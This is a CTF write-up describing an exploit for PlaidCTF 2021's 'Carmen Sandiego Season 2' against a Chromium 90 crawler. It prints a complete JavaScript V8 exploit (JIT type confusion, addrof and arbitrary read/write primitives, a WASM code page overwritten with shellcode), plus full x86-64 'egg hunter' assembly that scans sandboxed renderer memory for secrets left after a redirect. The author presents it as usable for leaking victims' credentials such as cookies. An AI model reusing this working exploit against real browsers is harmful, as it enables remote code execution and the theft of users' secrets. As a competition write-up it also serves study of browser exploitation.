This article covers the exploit part. Check this one written by s1r1us for the web and chromium-security part.
I solved some pwnable tasks from PlaidCTF 2021. There was a challenge named "Carmen Sandiego Season 2", which was a series of two XSS challenges. Of course I hadn't checked the web task but I noticed a message in the channel.
The crawler to check XSS uses the Chromium browser of version 90.0.4403.0
. (Thanks @S1r1us_ for the version info!)
If you're following @r4j0x00 on Twitter, you'd immediately notice this version of Chromium has a 1-day vulnerability.
The crawler must specify --no-sandbox
option, which disables the sandbox feature of the renderer process, to turn the vulnerability into RCE.
Unfortunately, however, the crawler is using the sandbox feature. (Thanks @po6ix for checking the options!)
Abusing the 1-day exploit to execute commands seems impossible.
Renderer Process and Redirection
Soon after I thought it was impossible to compromise the crawler, @po6ix found something interesting. The (sample) flag is on the memory.
Chromium uses a same renderer process for the same tab and the same host. This sounds natural but is a very important restriction for this attack.
His idea is, first make the crawler access to the flag, and then make it redirect to the exploit on the same host as the flag. We have XSS now. XSS takes place in the target host, and the credential to steal (flag this time) exists in the same host.*1
All modern web browsers use the garbage collection to manage objects. The objects swept by GC still stay on the memory. Some of the freed objects may be overwritten by the newly allocated objects, but the others may not.
In fact, the string objects (HTML and so on) are allocated on the heap and copied into some places. Some of them are overwritten after the redirect, but the other freed string objects are not. The credential to steal may stay on the memory even after the redirection.*2
Our goal is to somehow extract the credential from the memory and leak it.
Blind Egg Hunter
Finding a specific value from the memory reminded me of the egg hunter shellcode. However, we have no information of the address of the credential. The target object is already freed by GC and there's no pointer pointing to the object.
Chromium (and most browser) has a huge amount of memory but we don't know exactly which address it's mapped at. How can we tell where the mapped pages are?
There're several ways to accomplish this.
My first idea is use xbeing
and xend
instructions.
Using these instructions, we can tell if an access violation occured.
However, this method depends on the model of the CPU and my laptop doesn't support them. *3
The second idea is use syscall
for the oracle.
Even in the strict sandbox of Chromium, the renderer can still call some system calls such as SYS_write
and so on.
They are very useful for telling if a given address is mapped (accessible) or not.
The following code is the "blind" egg hunter to find a string that starts with PCTF
from the memory.
global _start section .text _start: push r12 push r10 push r9 push r8 push rbp xor ebx, ebx mov r12, 0x100000000 mov r9, 0x7fff00000000 mov rbp, 0x20000000000 find_base: and rbp, r9 mov r10, 0xf nauty_lp: mov rdi, rbp call is_mapped test eax, eax jnz find_flag add rbp, 0x1000 dec r10 jnz nauty_lp next_base: add rbp, r12 cmp rbp, r9 jge fail jmp find_base fail: mov eax, 1337 pop rbp pop r8 pop r9 pop r10 pop r12 ret find_flag: inc ebx mov r8, rbp next_flag: test r8, 0xfff jnz skip_check mov rdi, r8 call is_mapped test eax, eax jz skip skip_check: cmp dword [r8], 'PCTF' jz found_flag add r8, 4 cmp r8d, 0x0fff0000 jge next_base jmp next_flag skip: add r8, 0x1000 cmp r8d, 0x0fff0000 jge next_base jmp next_flag found_flag: call flag lp: mov al, [r8] mov [r12], al test al, al jz bye inc r8 inc r12 jmp lp bye: mov eax, 777 pop rbp pop r8 pop r9 pop r10 pop r12 ret ;; check if the address of rdi is mapped is_mapped: mov edx, 4 mov rsi, rdi mov edi, 1 mov eax, 1 syscall cmp eax, 4 jz mapped xor eax, eax ret mapped: mov eax, 1 ret flag: call flagger flagger: pop r12 ret
This works as a WebAssembly function in my exploit. The wasm function will return 777 if it finds the flag, otherwise 1337. The flag is saved at the tail of the shellcode. (Since we already have AAW primitive to inject the shellcode, we also have AAR primitive with which we can read the flag.)
Exploit
I modified a published exploit for the 1-day exploitation part so that it works on the crawler. (Thenks @avboy1337 for the exploit.)
/** * Utils */ let conversion_buffer = new ArrayBuffer(8); let float_view = new Float64Array(conversion_buffer); let int_view = new BigUint64Array(conversion_buffer); BigInt.prototype.hex = function() { return '0x' + this.toString(16); }; BigInt.prototype.i2f = function() { int_view[0] = this; return float_view[0]; } Number.prototype.f2i = function() { float_view[0] = this; return int_view[0]; } function gc() { for (var i = 0; i < 0x10000; ++i) var a = new ArrayBuffer(); } /** * Exploit */ function pwn() { var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule); var main = wasmInstance.exports.main; class LeakArrayBuffer extends ArrayBuffer { constructor(size) { super(size); this.slot = 0xb33f; } } function jitme(a) { let x = -1; if (a) x = 0xFFFFFFFF; var arr = new Array(Math.sign(0 - Math.max(0, x, -1))); arr.shift(); let local_arr = Array(2); local_arr[0] = 5.1; let buff = new LeakArrayBuffer(0x1000); arr[0] = 0x1122; return [arr, local_arr, buff]; } /* Cause bug */ gc(); console.log("[+] START"); for (var i = 0; i < 0x10000; ++i) jitme(false); gc(); [corrput_arr, rwarr, corrupt_buff] = jitme(true); corrput_arr[12] = 0x22444; delete corrput_arr; /* Primitives */ function set_backing_store(l, h) { console.log(h.hex(), l.hex()); rwarr[4] = ((h << 32n) | (rwarr[4].f2i() & 0xffffffffn)).i2f(); rwarr[5] = ((rwarr[5].f2i() & 0xffffffff00000000n) | l).i2f(); } function addrof(o) { corrupt_buff.slot = o; return (rwarr[9].f2i() - 1n) & 0xffffffffn; } /* Address leak */ let corrupt_view = new DataView(corrupt_buff); let corrupt_buffer_ptr_low = addrof(corrupt_buff); console.log("[+] leak = " + corrupt_buffer_ptr_low.hex()); let addr_wasm = addrof(wasmInstance); console.log("[+] instance = " + addr_wasm.hex()); /* Fake obj */ let idx0Addr = corrupt_buffer_ptr_low - 0x10n; let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000n) - ((corrupt_buffer_ptr_low & 0xffff0000n) % 0x40000n) + 0x40000n; let delta = baseAddr + 0x1cn - idx0Addr; if ((delta % 8n) == 0n) { let baseIdx = delta / 8n; this.base = rwarr[baseIdx].f2i() & 0xffffffffn; } else { let baseIdx = ((delta - (delta % 8n)) / 8n); this.base = rwarr[baseIdx].f2i() >> 32n; } console.log("[+] base = " + this.base.hex()); set_backing_store(this.base, addr_wasm); let code_entry = corrupt_view.getFloat64(13 * 8, true); set_backing_store(code_entry.f2i() >> 32n, code_entry.f2i() & 0xffffffffn); let shellcode = [0x41,0x54,0x41,0x52,0x41,0x51,0x41,0x50,0x55,0x31,0xdb,0x49,0xbc,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x49,0xb9,0x0,0x0,0x0,0x0,0xff,0x7f,0x0,0x0,0x48,0xbd,0x0,0x0,0x0,0x0,0x0,0x2,0x0,0x0,0x4c,0x21,0xcd,0x41,0xba,0xf,0x0,0x0,0x0,0x48,0x89,0xef,0xe8,0x94,0x0,0x0,0x0,0x85,0xc0,0x75,0x25,0x48,0x81,0xc5,0x0,0x10,0x0,0x0,0x49,0xff,0xca,0x75,0xe8,0x4c,0x1,0xe5,0x4c,0x39,0xcd,0x7d,0x2,0xeb,0xd5,0xb8,0x39,0x5,0x0,0x0,0x5d,0x41,0x58,0x41,0x59,0x41,0x5a,0x41,0x5c,0xc3,0xff,0xc3,0x49,0x89,0xe8,0x49,0xf7,0xc0,0xff,0xf,0x0,0x0,0x75,0xc,0x4c,0x89,0xc7,0xe8,0x55,0x0,0x0,0x0,0x85,0xc0,0x74,0x18,0x41,0x81,0x38,0x50,0x43,0x54,0x46,0x74,0x21,0x49,0x83,0xc0,0x4,0x41,0x81,0xf8,0x0,0x0,0xff,0xf,0x7d,0xb7,0xeb,0xd3,0x49,0x81,0xc0,0x0,0x10,0x0,0x0,0x41,0x81,0xf8,0x0,0x0,0xff,0xf,0x7d,0xa5,0xeb,0xc1,0xe8,0x44,0x0,0x0,0x0,0x41,0x8a,0x0,0x41,0x88,0x4,0x24,0x84,0xc0,0x74,0x8,0x49,0xff,0xc0,0x49,0xff,0xc4,0xeb,0xed,0xb8,0x9,0x3,0x0,0x0,0x5d,0x41,0x58,0x41,0x59,0x41,0x5a,0x41,0x5c,0xc3,0xba,0x4,0x0,0x0,0x0,0x48,0x89,0xfe,0xbf,0x1,0x0,0x0,0x0,0xb8,0x1,0x0,0x0,0x0,0xf,0x5,0x83,0xf8,0x4,0x74,0x3,0x31,0xc0,0xc3,0xb8,0x1,0x0,0x0,0x0,0xc3,0xe8,0x0,0x0,0x0,0x0,0x41,0x5c,0xc3]; for (let i = 0; i < shellcode.length; i++) { corrupt_view.setUint8(i, shellcode[i]); } console.log("[+] result = " + main()); let flag = ""; let ofs = 0; while (true) { let c = corrupt_view.getUint8(shellcode.length-3+ofs); if (c == 0) break; flag += String.fromCharCode(c); ofs += 1; } console.log("[+] flag = " + flag); console.log("[+] DONE"); } pwn();
Finally, @po6ix and @arang modified this exploit so that it leaks the flag to their servers.
This is the screenshot of the exploit.
I think this method is useful in many cases where the attacker wants to leak information of the victim, and the attacker can insert iframe but cannot directly insert javascript code. This solution, of course, is not intended but it was a lot of fun!
*1:Credentials such as the cookies can be stolen without the redirection by using the egg hunter I explain later.
*2:Check this tweet for how to leak victim's flag from the attacker's domain. I cannot explain the detail as it's out of my scope.
*3:po6ix found xbegin is available on the remote server though